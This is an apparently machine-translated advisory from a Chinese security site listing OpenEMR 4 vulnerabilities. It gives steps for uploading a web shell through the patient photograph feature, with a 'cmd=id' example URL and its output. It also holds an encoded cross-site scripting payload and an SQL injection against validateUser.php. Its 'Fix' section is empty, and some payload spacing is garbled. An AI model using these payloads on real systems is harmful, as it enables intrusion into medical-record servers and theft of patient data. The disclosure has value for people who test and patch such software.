OpenEMR 4 multiple defects and repair-vulnerability warning-the black bar safety net

2011-12-26T00:00:00
ID MYHACK58:62201132720
Type myhack58
Reporter 佚名
Modified 2011-12-26T00:00:00

Description

OpenEMR 4 (Level @ Smash The Stack)

Summary: Patient Photograph Arbitrary File Upload

Initial Comment:

1. Login with valid User/Pass

2. Patient/Client -> Search/New Patient (search for anything)

3. Click Documents -> Patient Photograph

4. Upload Shell

URL: http://www.badguest.cn/openemr/sites/SITENAME/documents/PATIENTID/shell..jpg?cmd=id

EX: http://www.badguest.cn/oe/sites/default/documents/1/shell.php.jpg?cmd=id

Output: uid=4 8(apache) gid=4 8(apache) groups=4 8(apache)

first installed SITENAME = default

first installed PATIENTID = 1

OpenEMR 4 (Level @ Smash The Stack)

XSS

http://www.badguest.cn /oe/setup. php? site=%2 7;alert%28String. fromCharCode%2888,83,83%2 9%2 9//\%2 7;alert%28String. fromCharCode%2888,83,83%2 9%2 9//%2 2;alert%28String. fromCharCode%2888,83,83%2 9%2 9//\%2 2;alert%28String. fromCharCode%2888,83,83%2 9%2 9//--%3E%3C/SCRIPT%3E%2 2%3E%2 7%3E%3CSCRIPT%3Ealert%28String. fromCharCode%2888,83,83%2 9% 2 9%3C/SCRIPT%3E

OpenEMR 4 (Level @ Smash The Stack)

Summary: validateUser.php SQL Injection

Initial Comment:

http://www.badguest.cn /oe/interface/login/validateUser. php? u=test'

validateUser.php:

$user = $_GET['u'];

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

Fix:

Analysis be specific.